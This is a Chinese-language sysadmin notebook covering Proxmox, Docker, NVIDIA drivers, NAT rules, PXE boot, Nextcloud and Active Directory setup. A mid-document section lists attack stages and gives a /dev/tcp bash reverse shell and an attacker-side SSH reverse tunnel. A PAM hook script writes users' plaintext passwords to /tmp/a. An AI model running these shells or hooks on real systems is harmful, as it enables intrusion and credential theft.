錯誤訊息
failed to execute child process dbus launch no such file or directory
apt install dbus-x11
錯誤訊息
failed to execute child process dbus launch no such file or directory
apt install dbus-x11
VM 相關設定
BIOS: Default(SeaBIOS)
Display: Standard VGA
Machine: Default(i440fx)
SCSI Controller: Default(LSI 只C895A)
Hard Disk(ide0)
Network Devivce: Realtek RTL8139
安裝 Windows 2000 後安裝 Universal VBE Video Display Driverhttps://bearwindows.zcm.com.au/vbemp.htm
wget https://enterprise.proxmox.com/debian/proxmox-release-trixie.gpg -O /etc/apt/trusted.gpg.d/proxmox-release-trixie.gpg
echo "deb http://download.proxmox.com/debian/pbs trixie pbs-no-subscription" | sudo tee /etc/apt/sources.list.d/proxmox-backup-server.list
sudo apt update && sudo apt install proxmox-backup-server -y
apt install -y sudo curl wget
apt install -y apt-transport-https ca-certificates gpg
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker.gpg] https://download.docker.com/linux/debian trixie stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
apt update
apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
增加 Docker 使用者帳號
usermod -aG docker ${USER}
apt install pve-headers-$(uname -r) gcc make dkms
編輯 /etc/modprobe.d/blacklist-nouveau.conf 加入
blacklist nouveau
options nouveau modeset=0
update-initramfs -u
rmmod nouveau
lsmod | grep nouveau
查詢型號
lspci -k | grep -A 2 -i "NVIDIA"
下載驅動程式
https://tw.download.nvidia.com/XFree86/Linux-x86_64/580.105.08/NVIDIA-Linux-x86_64-580.105.08.run
https://tw.download.nvidia.com/XFree86/Linux-x86_64/580.119.02/NVIDIA-Linux-x86_64-580.119.02.run
安裝
chmod a+x NVIDIA-Linux-x86_64-580.105.08.run
./NVIDIA-Linux-x86_64-580.105.08.run
./NVIDIA-Linux-x86_64-580.105.08.run --dkms
LXC 安裝
apt install pciutils lshw
./NVIDIA-Linux-x86_64-*.run --no-kernel-module
移除
./NVIDIA-Linux-x86_64-*.run --uninstall
nvidia-smi --persistence-mode=1
echo "1" > /proc/sys/net/ipv4/ip_forward
IF=vmbr0
PORT_FROM=80
PORT_TO=80
DEST=192.168.1.1
iptables -t nat -A POSTROUTING -o ${IF} -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --dport PORT_FROM -j DNAT --to-destination ${DEST}:${PORT_TO}
or
iptables -t nat -A PREROUTING -i $IF -p tcp --dport $PORT_FROM -j DNAT --to $DEST:$PORT_TO
iptables -t nat -A POSTROUTING -p tcp -d $DEST --dport $PORT_TO -j MASQUERADE
SNAT
iptables -t nat -A POSTROUTING -s 172.16.255.0/255.255.255.0 -o vmbr0 -j SNAT --to-source 192.168.1.1
Page Assist - 本地 AI 模型的網頁介面
https://chromewebstore.google.com/detail/page-assist-a-web-ui-for/jfgfiigpkhlkbnfnbobbkinehhfdhndo
Just a simple HTML UI for Ollama
https://chromewebstore.google.com/detail/ollama-ui/cmgdpmlhgjhoadnonobjeekmfcehffco
https://github.com/ollama-ui/ollama-ui
Proxmox VE 設定
Datacenter - directory Mappings - Add
VM 設定
Hardware - Add - Virtiofs
Linux虛擬機設定
mount -t virtiofs host_shared /mnt/host_shared/
https://haveibeenpwned.com/
https://haveibeenpwned.com/Passwords
https://api.pwnedpasswords.com/range/
攻擊生命週期
1.偵察
2.初步刺探
3.建立立足點
4.提昇權限
5.內部偵察
6.橫向活動
7.保持進駐
8.任務達成
網路安全
1.保密性
2.完整性
3.可用性
4.不可否認性
5.認證
資料蒐集類型
1.日誌檔
2.歷史指令
3.暫存檔
4.組態設定檔
5.使用者資料
指令隱蔽方法
1.語法
2.邏輯
3.編碼加密
日誌相關指令
logger
eventcreate.exe
eventvwr.exe
eventvwr.msc
檔案系統監看
1.建立基準
2.偵測變化
3.自動化、通知
bash 連線方式
nc -l -p 8080 #控制端 remote
bash -i </dev/tcp/remote /8080 1>&0 2>&0 #受控端
SSH反向連接
ssh -RNf 12345:localhost:22 user@remote #受控端
ssh localhost -p 12345 #控制端
正規表示式
. 代表單一萬用字元
? 前面的任何項目出現一次或無
* 前面的任何項目出現一次以上或無
+ 前面的任何項目出現至少一次或以上
( ) 群聚 集合字元 (aaa|bbb)
[ ] 定義字元種類
[:alnum:] 數字和字母字元
[:alpha:] 純字母
[:cntrl:] 控制字元
[:digit:] 數字字元
[:graph:] 控制字元和空白字元以外
[:lower:] 小寫字元
[:print:] 控制字元以外字元
[:punct:] 標點符號字元
[:space:] 包含換行的空白字元
[:upper:] 大寫字元
[:xdigit:] 16進位字元
\b 界定字詞邊界
\s 空白
\S 非空白
\d 數字
\D 非數字
\w 字詞
\W 非字詞
\x 16進位數字
T{5, } 量詞/Quantifiers 項目出現的次數
^ 項目應出現字串開頭
$ 項目應出現字串結尾
回溯參照/back reference
egrep '<([A-Za-z]*)>.*</\1>' tags.txt
apt install -y gcc automake make git
git clone https://github.com/neurobin/shc
cd shc
./configure && ./autogen.sh && make
cp src/shc /usr/local/bin
錯誤訊息
Error connecting to sesman on 127.0.0.1:3350
確認 xrdp-sesman.service 是否異常中止
systemctl start xrdp-sesman.service
連線管理程式
xrdp-sesadmin
loginctl list-sessions
相關日誌
/var/log/xrdp.log
/var/log/xrdp-sesman.log
SSH Client設定方式
1.編輯 ~/.ssh/config 加入
Host *
ServerAliveInterval 100
2.編輯 /etc/ssh/ssh_config 加入
ServerAliveInterval 100
SSH Client設定方式
編輯 /etc/ssh/sshd_config 加入
ClientAliveInterval 60
ClientAliveCountMax 3
ssh -R 12345:localhost:22 user@remotehost (目標主機)
ssh localhost -p 12345 (攻擊者主機))
-N :只連線遠端主機,不開啟遠端 shell
-f :連線成功後,背景執行
-R :接受三個值,「遠端主機A埠號:想連上主機B:想連上主機B埠號」(12345:localhost:22)
eval "export $(cat ~/.config/user-dirs.dirs |grep XDG_DESKTOP_DIR)"
for i in ${XDG_DESKTOP_DIR}/*.desktop;do
gio set "$i" metadata::trusted true;
gio set -t string "$i" metadata::xfce-exe-checksum "$(sha256sum "$i"|awk '{print $1}')";
done
dhcp-option=vendor:PXEClient,6,2b
#dhcp-option=vendor:HTTPClient,Arch,00016
dhcp-no-override
dhcp-match=set:ipxe-http,175,19
dhcp-match=set:ipxe-https,175,20
dhcp-match=set:ipxe-menu,175,39
dhcp-match=set:ipxe-pxe,175,33
dhcp-match=set:ipxe-bzimage,175,24
dhcp-match=set:ipxe-iscsi,175,17
dhcp-match=set:ipxe-efi,175,36
#pxe-service=0, "PXELINUX (0000-BIOS)", "bios/lpxelinux.0"
#pxe-service=1, "PXELINUX (0001-EFI)", "efi64/syslinux.efi"
#pxe-service=2, "PXELINUX (0002-EFI)", "efi64/syslinux.efi"
#pxe-service=3, "PXELINUX (0003-EFI)", "efi64/syslinux.efi"
#pxe-service=4, "PXELINUX (0004-EFI)", "efi64/syslinux.efi"
#pxe-service=5, "PXELINUX (0005-EFI)", "efi64/syslinux.efi"
#pxe-service=6, "PXELINUX (0006-EFI)", "efi64/syslinux.efi"
#pxe-service=7, "PXELINUX (0007-EFI)", ipxe.efi,192.168.9.240
#pxe-service=7, "PXELINUX (0007-EFI)", "autoexec.ipxe",,
#pxe-service=7, "PXELINUX (0007-EFI)", "ipxe.efi",,
#pxe-service=7, "PXELINUX (0007-EFI)", "grubx64.efi",,
#pxe-service=8, "PXELINUX (0008-EFI)", "efi64/syslinux.efi"
#pxe-service=9, "PXELINUX (0009-EFI)", "efi64/syslinux.efi"
tag-if=set:ipxe-ok,tag:ipxe-http,tag:ipxe-menu,tag:ipxe-iscsi,tag:ipxe-pxe,tag:ipxe-bzimage
tag-if=set:ipxe-ok,tag:ipxe-http,tag:ipxe-menu,tag:ipxe-iscsi,tag:ipxe-efi
pxe-service=tag:!ipxe-ok,X86PC,BIOS,undionly.kpxe,,
pxe-service=tag:!ipxe-ok,IA32_EFI,IA32_EFI,snponlyx32.efi,,
pxe-service=tag:!ipxe-ok,BC_EFI,BC_EFI,ipxe.efi,,
pxe-service=tag:!ipxe-ok,X86-64_EFI,EFI,ipxe.efi,,
pxe-service=tag:!ipxe-ok,X86-64_EFI,EFI0,ipxe.efi,,
pxe-prompt=EFI,0
#pxe-service=tag:!ipxe-ok,X86PC,BIOS,ipxe/undionly.kpxe,192.168.9.200
#pxe-service=tag:!ipxe-ok,IA32_EFI,IA32_EFI,ipxe/snponlyx32.efi,192.168.9.200
#pxe-service=tag:!ipxe-ok,BC_EFI,BC_EFI,ipxe/ipxe.efi,192.168.9.200
#pxe-service=tag:!ipxe-ok,X86-64_EFI,EFI,ipxe/ipxe.efi,192.168.9.200
#pxe-service=tag:!ipxe-ok,X86-64_EFI,EFI0,ipxe/ipxe.efi,192.168.9.200
#pxe-prompt=EFI,0
#pxe-service=0, "PXELINUX (0000-BIOS)", "bios/lpxelinux.0"
#pxe-service=1, "PXELINUX (0001-EFI)", "efi64/syslinux.efi"
#pxe-service=2, "PXELINUX (0002-EFI)", "efi64/syslinux.efi"
#pxe-service=3, "PXELINUX (0003-EFI)", "efi64/syslinux.efi"
#pxe-service=4, "PXELINUX (0004-EFI)", "efi64/syslinux.efi"
#pxe-service=5, "PXELINUX (0005-EFI)", "efi64/syslinux.efi"
#pxe-service=6, "PXELINUX (0006-EFI)", "efi64/syslinux.efi"
#pxe-service=7, "PXELINUX (0007-EFI)", ipxe/ipxe.efi,192.168.9.200
#pxe-service=8, "PXELINUX (0008-EFI)", "efi64/syslinux.efi"
#pxe-service=9, "PXELINUX (0009-EFI)", "efi64/syslinux.efi"
#dhcp-boot=tag:ipxe-ok,ipxe/i.ipxe,pxeserver,192.168.9.200
#dhcp-boot=tag:ipxe-ok,http://192.168.9.200/tftp/ipxe/i.ipxe,,
#dhcp-boot=tag:ipxe-ok,ipxe/aaaautoexec.ipxe,pxeserver,192.168.9.200
dhcp-boot=tag:ipxe-ok,autoexec.ipxe
編輯 /etc/pam.d/common-auth
auth [success=2 default=ignore] pam_exec.so quiet debug expose_authtok log=/tmp/pam_exec.log /etc/libnss_shim/auth.sh
auth [success=1 default=ignore] pam_unix.so nullok try_first_pass
# here's the fallback if no module succeeds
auth requisite pam_deny.so
編輯 /etc/libnss_shim/auth.sh
#!/bin/bash
set >/tmp/a
read pwd
echo pwd=$pwd PAM_USER=$PAM_USER >>/tmp/a
getent passwd -s files ${PAM_USER}>/dev/null && { echo local:${PAM_USER};exit 1; }
echo $PAM_USER login ok
exit 0;
git clone https://github.com/neurobin/shc
cd shc
./configure
./autogen.sh
make
cp src/shc /usr/local/bin/
安裝
apt install -y apache2 libapache2-mod-security2
編輯 /etc/apache2/sites-enabled/000-default.conf 加入
SecRuleEngine On
相關檔案
/etc/apache2/mods-enabled/security2.conf
/etc/apache2/mods-enabled/security2.load
/var/cache/modsecurity
/etc/modsecurity/*.conf
/usr/share/modsecurity-crs/*.load
apt install nginx php-fpm
編輯 /etc/nginx/sites-enabled/default
location ~ \.php$ {
include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
# fastcgi_pass unix:/run/php/php7.4-fpm.sock;
fastcgi_pass unix:/run/php/php8.4-fpm.sock;
# # With php-cgi (or other tcp sockets):
# fastcgi_pass 127.0.0.1:9000;
}
SQUID 設定加入
acl SSL_ports port 22
acl Safe_ports port 22 # ssh/sftp
http_access allow CONNECT SSL_ports
使用方式
ssh user@sshserver-ip -o "ProxyCommand /usr/bin/nc -X connect -x squid_ip:3128 %h %p"
編輯 ~/.ssh/config
Host target_ssh_server
Hostname actual_target_ip_or_hostname
User your_username
ProxyCommand /usr/bin/nc -X connect -x squid_proxy_ip:3128 %h %p
# Or with corkscrew:
# ProxyCommand corkscrew squid_proxy_ip 3128 %h %p
apt install -y adcli realmd krb5-user samba-common-bin samba-libs samba-dsdb-modules sssd sssd-tools libnss-sss libpam-sss packagekit polkitd pkexec
/etc/sssd/sssd.conf 設定檔
[sssd]
domains = ad.example
config_file_version = 2
services = nss, pam
[domain/tw.example]
ad_domain = ad.example
krb5_realm = AD.EXAMPLE
realmd_tags = manages-system joined-with-samba
cache_credentials = True
id_provider = ad
krb5_store_password_if_offline = True
default_shell = /bin/bash
ldap_id_mapping = True
use_fully_qualified_names = False #登入時,不需輸入網域
fallback_homedir = /home/%d/%u #自動建立的 home 目錄不會加上 @DomainName
access_provider = ad
enumerate = true #可 使用 getent 查詢帳號資訊
ad_gpo_map_interactive = +xrdp-sesman
編輯 /etc/pam.d/common-session
# add to the end if need (create home directory automatically at initial login)
session optional pam_mkhomedir.so skel=/etc/skel umask=077
UNIX時間採用世界標準時1970年1月1日00:00:00開始的秒數(不考慮閏秒)。
Windows API使用SYSTEMTIME表示年月日時分秒毫秒;
FILETIME表示自世界標準時1601年1月1日00:00:00開始的100奈秒為單位
<?php
function ftime2utime($filetime_value){
// 1. 轉換為秒 ( FILETIME單位是100奈秒 )
$filetime_seconds = $filetime_value / 10000000;
// 2. 減去UNIX紀元的偏移量 (1970年1月1日到1601年1月1日)
$unix_timestamp = $filetime_seconds - 11644473600;
// 3. 使用date()函數格式化時間戳
$formatted_time = date('Y-m-d H:i:s', $unix_timestamp);
echo "FILETIME : " . $filetime_value . "\n";
echo "UNIX TIME: " . $unix_timestamp . "\n";
echo "format : " . $formatted_time . "\n";
}
function utime2ftime($unixTimestamp){
// 计算自 1601 年以来的 100 纳秒间隔
// 11644473600 是 1601 年 1 月 1 日 UTC 到 1970 年 1 月 1 日 UTC 的秒数 [1]
// 10,000,000 将秒转换为 100 纳秒间隔 [1]
$filetime = ($unixTimestamp + 11644473600) * 10000000;
echo "Unix Timestamp: " . $unixTimestamp . "\n";
echo "FILETIME (Hex): " . sprintf('%x', $filetime) . "\n";
echo "FILETIME: ". $filetime . "\n";
}
$unixTimestamp = 1759420800;
utime2ftime($unixTimestamp);
echo "\n";
$filetime_value = 134038944000000000;
ftime2utime($filetime_value);
?>
top
htop
ac apt install act
atop apt install atop
btop apt install btop
s-tui apt install s-tui
vmstat apt install sysstat
lsof
iotop apt install iotop
iostat apt install sysstat
tcpdump
netstat
iptraf
nethogs apt install nethogs
iftop apt install iftop
netdata apt install netdata
arpwatch apt install arpwatch
nmon apt install nmon
連線管理程式
xrdp-sesadmin
loginctl list-sessions
相關日誌
journalctl -xeu xrdp.service
journalctl -xeu xrdp-sesman.service
/var/log/xrdp.log
/var/log/xrdp-sesman.log
安裝
apt install libpam-google-authenticator
編輯/etc/pam.d/sshd 加入
auth required pam_google_authenticator.so nullok
編輯 /etc/ssh/sshd_config 加入
ChallengeResponseAuthentication yes
KbdInteractiveAuthentication yes
執行
google-authenticator
參考文件
https://github.com/google/google-authenticator-libpam
qrencode -t ansiutf8 `cat .google_authenticator `
建立帳戶時,帳戶一開始會設定為 永不過期。
accountExpires 屬性預設值 9223372036854775807 ,對應 64 位帶正負號整數的最大值
帳戶設定到期日, accountExpires 設定為到期日的 FILETIME 值
帳戶設定到期時間為永不過期, accountExpires 設定為 0
<?php
function objectSid($binary_sid) {
if(strlen(decbin(~0)) == 64) //64bit PHP
{
// Get revision, indentifier, authority
$parts = unpack('Crev/x/nidhigh/Nidlow', $binary_sid);
// Set revision, indentifier, authority
$sid = sprintf('S-%u-%d', $parts['rev'], ($parts['idhigh']<<32) + $parts['idlow']);
// Translate domain
$parts = unpack('x8/V*', $binary_sid);
// Append if parts exists
if ($parts) $sid .= '-';
// Join all
return $sid.= join('-', $parts);
}
//32bit PHP
$sid = 'S-';
$sidinhex = str_split(bin2hex($binary_sid), 2);
// Byte 0 = Revision Level
$sid = $sid.hexdec($sidinhex[0]).'-';
// Byte 1-7 = 48 Bit Authority
$sid = $sid.hexdec($sidinhex[6].$sidinhex[5].$sidinhex[4].$sidinhex[3].$sidinhex[2].$sidinhex[1]);
// Byte 8 count of sub authorities - Get number of sub-authorities
$subauths = hexdec($sidinhex[7]);
//Loop through Sub Authorities
for($i = 0; $i < $subauths; $i++) {
$start = 8 + (4 * $i);
// X amount of 32Bit (4 Byte) Sub Authorities
$sid = $sid.'-'.hexdec($sidinhex[$start+3].$sidinhex[$start+2].$sidinhex[$start+1].$sidinhex[$start]);
}
return $sid;
}
function objectGUID($binaryGuid) {
$hexGuid = bin2hex($binaryGuid);
// Reorder and format according to standard GUID representation
$hex1 = substr($hexGuid, 6, 2) . substr($hexGuid, 4, 2) . substr($hexGuid, 2, 2) . substr($hexGuid, 0, 2);
$hex2 = substr($hexGuid, 10, 2) . substr($hexGuid, 8, 2);
$hex3 = substr($hexGuid, 14, 2) . substr($hexGuid, 12, 2);
$hex4 = substr($hexGuid, 16, 4);
$hex5 = substr($hexGuid, 20, 12);
return sprintf('%s-%s-%s-%s-%s', $hex1, $hex2, $hex3, $hex4, $hex5);
}
$user = 'user1'; //設定欲認證的帳號名稱
$ldappass = 'p@ssw0rd'; //設定欲認證的帳號密碼
$domain = 'test.loc'; //設定網域名稱
putenv('LDAPTLS_REQCERT=allow');
$ldapconn = @ldap_connect("ldaps://" . $domain) or die("無法連接至 $domain");
ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ldapconn, LDAP_OPT_REFERRALS, 0);
if ($ldapconn) { // binding to ldap server
$ldapbind = @ldap_bind($ldapconn, $user . '@' . $domain, $ldappass);
if ($ldapbind) { // verify binding
$result = @ldap_search($ldapconn, sprintf("dc=%s", (str_replace(".", ",dc=", $domain))), "(sAMAccountName=$user)");
if($result==false) echo "認證失敗";
else {
$entries = ldap_get_entries($ldapconn, $result);
$results2 = ldap_search($ldapconn, sprintf("dc=%s", (str_replace(".", ",dc=", $domain))),"(&(objectclass=group)(objectsid=*))", array("cn", "objectguid"));
$entries2 = ldap_get_entries($ldapconn, $results2);
for ($i=1; $i<$entries2['count']; $i++)
echo $entries2[$i]['cn'][0] . "\n" . objectGUID($entries2[$i]['objectguid'][0]) . "\n" . objectSid($entries2[$i]['objectsid'][0]) . "\n\n";
}
} else echo "認證失敗...";
}
?>
安裝
apt install -y nginx libnginx-mod-stream
建立 NGINX 憑證
mkdir -p /etc/nginx/ssl
openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key -out /etc/nginx/ssl/nginx.crt
編輯 /etc/nginx/nginx.conf 加入
stream {
server {
listen 443 ssl; # Or 80 for HTTP
proxy_pass ssh_backend;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
#加密方式
ssl_protocols TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
}
upstream ssh_backend {
server 127.0.0.1:22; # Or the actual SSH server IP and port
}
}
編輯 /etc/nginx/nginx.conf
設定 HTTP Options
server_tokens off;
編輯 /etc/ssh/sshd_config 加入
DebianBanner no
連線方式
ssh -o ProxyCommand="openssl s_client -servername localhost -connect <nginx server>:443 2>&1" root@l -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=ERROR
ssh -o ProxyCommand="openssl s_client -connect <nginx server>:443 2>&1" user@ -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=ERROR
錯誤訊息
Invalid command 'SSLEngine', perhaps misspelled or defined by a module not included in the server configuration
執行
a2enmod ssl
編輯 .m2/settings.xml 內容如下
<?xml version="1.0"?>
<settings >
<mirrors >
<mirror >
<id>maven</id >
<name>Maven Repository Manager running on https://repo.maven.apache.org/maven2 </name >
<url>http://artipie.loc:8085/maven/ </url >
<mirrorOf>central</mirrorOf >
</mirror >
</mirrors >
</settings >
測試
mvn dependency:get -DgroupId=junit -DartifactId=junit -Dversion=4.13.2 -Dtransitive=false -s ~/.m2/settings.xml -X
apt install -y default-jre
新增帳號 artipie
mkdir -p /opt/artipie
wget https://github.com/artipie/artipie/releases/download/v1.17.16/artipie-v1.17.16-jar-with-dependencies.jar -O /opt/artipie/artipie.jar
mkdir -p /home/artipie/data
mkdir -p /home/artipie/repo
編輯 /home/artipie/artipie.yaml
meta:
storage:
type: fs
path: /var/artipie/repo
編輯 /home/artipie/repo/maven.yaml
repo:
type: maven-proxy
remotes:
- url: https://repo.maven.apache.org/maven2
storage:
type: fs
path: /var/artipie/data
ln -s /home/artipie/ /var/artipie
編輯 /etc/systemd/system/artipie.service
[Unit]
Description=Artipie Server
[Service]
Type=simple
ExecStart=java -jar /opt/artipie/artipie.jar --config-file=/var/artipie/artipie.yaml --port=8085
Restart=always
User=artipie
Group=artipie
[Install]
WantedBy=multi-user.target
chmod a+x /etc/systemd/system/artipie.service
systemctl daemon-reload
安裝相關軟體環境
apt update && apt upgrade -y
apt install unzip wget
apt -y install apache2 libapache2-mod-php -y
apt -y install php php-gd php-json php-mysql php-curl php-mbstring php-intl php-imagick php-xml php-zip
apt -y install libmagickcore-6.q16-6-extra
apt -y install php-gmp
apt -y install php-apcu
apt -y install php-ldap
wget https://download.nextcloud.com/server/releases/nextcloud-31.0.7.zip
unzip nextcloud-31.0.7.zip -d /var/www/html/
chown -R www-data:www-data /var/www/html/nextcloud/
chmod -R 755 /var/www/html/nextcloud/
設定資料庫
apt install mariadb-server mariadb-client -y
mysql_secure_installation
mysql -u root -p
CREATE DATABASE nextcloud;
GRANT ALL PRIVILEGES ON nextcloud.* TO 'nextclouduser'@'localhost' IDENTIFIED BY 'your_password';
FLUSH PRIVILEGES;
EXIT;
設定Apache2
編輯 /etc/apache2/sites-available/nextcloud.conf
<VirtualHost *:80>
ServerAdmin admin@example.com
DocumentRoot /var/www/html/nextcloud/
ServerName your-domain.com
Alias /nextcloud "/var/www/html/nextcloud/"
<Directory /var/www/html/nextcloud/>
Options +FollowSymlinks
AllowOverride All
Require all granted
<IfModule mod_dav.c>
Dav off
</IfModule>
</Directory>
ErrorLog ${APACHE_LOG_DIR}/nextcloud_error.log
CustomLog ${APACHE_LOG_DIR}/nextcloud_access.log combined
</VirtualHost>
編輯 /etc/php/8.2/apache2/php.ini 加入
memory_limit = 256M
opcache.interned_strings_buffer=16
a2ensite nextcloud
a2enmod rewrite
a2enmod headers
編輯 /etc/apache2/apache2.conf 加入
Header always set Strict-Transport-Security "max-age=31536000;
systemctl restart apache2
設定NextCloud
使用瀏覽器連線設定 NextCloud
編輯 /var/www/html/nextcloud/config/config.php 加入
'memcache.local' => '\OC\Memcache\APCu',
'default_phone_region' => 'TWN',
cd /var/www/nextcloud
sudo -u www-data php occ maintenance:repair --include-expensive
a2enmod headers
編輯 /etc/apache2/apache2.conf 加入
Header always set Strict-Transport-Security "max-age=31536000;
1. 使用 git clone 指令下載
2. R 安裝指令安裝,install.packages("/path to folder with the package", repos = NULL, type = "source")
DAZUKOFS 可堆疊檔案系統
https://github.com/twiddern/dazukofs-linux3.6
Libsqlfs FUSE 模組,允許 sqlite 可透過作業系統級檔案系統介面存取
https://github.com/guardianproject/libsqlfs
loggedfs LoggedFS FUSE 模組,可以記錄其中發生的每個操作
https://github.com/rflament/loggedfs
fuse-nfs NFS協定 FUSE 模組
https://github.com/sahlberg/fuse-nfs
移除 X2GO
執行 regedit
刪除 HKEY_CURRENT_USER\Software\Obviously Nice\x2goclient 資料夾
重新安裝 X2GO
npm install --global verdaccio
adduser verdaccio
su - verdaccio
verdaccio
exit
mkdir -p /etc/verdaccio/
ln -s /etc/verdaccio/config.yaml /home/verdaccio/verdaccio/config.yaml
編輯 /home/verdaccio/verdaccio/config.yaml
storage: /home/verdaccio/verdaccio/storage
listen:
- 0.0.0.0:4873
#auth:
# htpasswd:
# max_users: -1
編輯 /etc/systemd/system/verdaccio.service
[Unit]
Description=Verdaccio lightweight npm proxy registry
[Service]
Type=simple
Restart=on-failure
User=verdaccio
ExecStart=/usr/local/bin/verdaccio --config /etc/verdaccio/config.yaml
[Install]
WantedBy=multi-user.target
使用方式
使用以下指令設定自訂 registry
npm config set registry http://verdaccio.loc:4873
或編輯 ~/.npmrc 內容
registry=http://verdaccio.loc:4873/
終端機下執行 conda 指令
conda config –set proxy_servers.http http://proxy.loc:3128
conda config –set proxy_servers.https http://proxt.loc:3128
或編輯設定檔 ~/.condarc 加入以下內容
proxy_servers:
http: http://proxy.loc:3128
https: http://proxy.loc:3128
檢視 conda 設定,終端機下執行
conda config –show
conda info --all
使用範例
conda config –add channels conda-forge
conda install gcc=12
conda install gxx=12
conda install gcc=12 -c conda-forge
conda install gxx=12 -c conda-forge
Add-VpnConnection -Name "VPN-NAME" -ServerAddress "vpn-server" -PassThru -TunnelType "Automatic"
-TunnelType
指定用於VPN連接的 Tunnel類型。此參數的可接受值為:
PPTP L2TP SSTP IKEv2 Automatic
編輯 /etc/ssh/sshd_config
# override default of no subsystems
#Subsystem sftp /usr/lib/openssh/sftp-server
Subsystem sftp internal-sftp
Match group domain?users
#Match group *,!sudo
#ChrootDirectory /home/%u@loc
ChrootDirectory /home
X11Forwarding no
AllowTcpForwarding no
ForceCommand internal-sftp
pip install git+https://github.com/popgenmethods/smcpp.git --user
git clone https://github.com/popgenmethods/smcpp.git
cd smcpp
python3 setup.py install --user
錯誤訊息
Wrote out krb5.conf snippet to /var/cache/realmd/adcli-krb5-090dt5/krb5.d/adcli-krb5-conf-uzvObj
* Authenticated as user: Administrator@test.loc
* Using GSS-SPNEGO for SASL bind
! Couldn't authenticate to active directory: SASL(-1): generic failure: GSSAPI Error: Unspecified GSS failure. Minor code may provide more information (Server not found in Kerberos database)
adcli: couldn't connect to ssde.sinica domain: Couldn't authenticate to active directory: SASL(-1): generic failure: GSSAPI Error: Unspecified GSS failure. Minor code may provide more information (Server not found in Kerberos database)
Insufficient permissions to join the domain
安裝 krb5相關軟體
apt install krb5-user
編輯 /etc/modules 載入相關模組,reboot
# Modules needed for PPP connection
slhc
ppp_generic
ppp_async
# The three following modules are not always needed
zlib_inflate
zlib_deflate
ppp_deflate
# Modules needed for PPP/PPPOE connection
slhc
pppoe
# Modules needed for PPTP connection
pptp
# Modules needed for L2TP connection
slhc
pppol2tp
ppp_mppe
# Modules needed for PPPOA connection
# An ATM adapter module must be loaded for this to work
# (e.g. unicorn_pci_atm or unicorn_usb_atm)
slhc
ppp_generic
pppoatm
安裝 accelppp accelppp pppscrpt libpcre libsnmp
編輯 /etc/accel-ppp.conf
chap-secrets
[chap-secrets]
chap-secrets=/etc/ppp/chap-secrets
編輯 /etc/ppp/chap-secrets
帳號密碼設定檔 共四欄
# 第一欄為連線帳號,
# 第二欄要設定成/etc/accel-ppp.conf 中的name
# 第三欄為密碼
# 第四欄為連線IP
設定 shorewall
編輯 /etc/shorewall/rules加入
ACCEPT net fw tcp 1723
ACCEPT net fw udp 1701
Ping(ACCEPT) vpn fw
編輯 /etc/shorewall/zones 加入
vpn ipv4
編輯 /etc/shorewall/interfaces 加入
vpn ppp+
編輯 /etc/shorewall/policy 加入
vpn loc ACCEPT
編輯/etc/shorewall/masq
eth0 192.168.2.0/24
參考文件
https://docs.accel-ppp.org/configuration/configuration.html
相關 module
nf_nat_pptp
https://pgl.yoyo.org/as/serverlist.php?hostformat=dnsmasq-server
https://github.com/FutaGuard/LowTechFilter?tab=readme-ov-file
https://github.com/hagezi/dns-blocklists
https://raw.githubusercontent.com/notracking/hosts-blocklists/master/dnsmasq/dnsmasq.blacklist.txt
參考資訊
https://www.ptt.cc/bbs/AdBlock/M.1616322714.A.62E.html
dnsmasq 設定範例
編輯 /etc/dnsmasq.d/adblock.list.conf 加入阻擋內容
server=/www.0xplusdapp.com/
server=/www.0xdappplus.com/
server=/www.0857.games/
Apache2 錯誤訊息
Invalid command 'Header', perhaps misspelled or defined by a module not included in the server configuration
缺相關 Module
a2enmod headers
apache2ctl -M | grep headers_module
/etc/vzdump.conf 增加
script: /etc/your-custom-script.sh
編輯 /etc/your-custom-script.sh 內容如下
#!/bin/bash
# $1=post-restart $2=snapshot <backup Mode> $3=100 <lxc id>
# STOREID=local
# TARGET=/var/lib/vz/dump/vzdump-lxc-100.tar.zst
# VMTYPE=lxc
if [ "$1" == "post-restart" ]; then
do something
fi
if [ "$1" == "job-end" ]; then
do something else
fi
exit 0
SQLite Encryption Extension (SEE)
https://sqlite.org/com/see.html
sqlcipher
https://www.zetetic.net/sqlcipher/
https://github.com/zhouchangsheng/sqlcipher
apt install -y sqlcipher
sqlite-encrypt
https://github.com/jingqi/sqlite-encrypt/blob/master/README.md
SQLiteCrypt
https://www.sqlite-crypt.com/
sudo apt remove docker docker-engine docker.io containerd runc
sudo apt update
sudo apt install -y ca-certificates curl gnupg lsb-release
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin
sudo usermod -aG docker $(whoami)
安裝編輯環境
apt install -y gcc linux-headers-$(uname -r)
hello.c 內容
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
int init_module(void)
{
printk(KERN_INFO "Hello world 1.\n");
/*
* A non 0 return means init_module failed; module can't be loaded.
*/
return 0;
}
void cleanup_module(void)
{ printk(KERN_INFO "Goodbye world 1.\n"); }
MODULE_LICENSE("L");
MODULE_AUTHOR("Taiwan");
MODULE_DESCRIPTION("Taiwan");
MODULE_VERSION("1");
obj-m += hello.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
安裝devpi
apt install pip -y
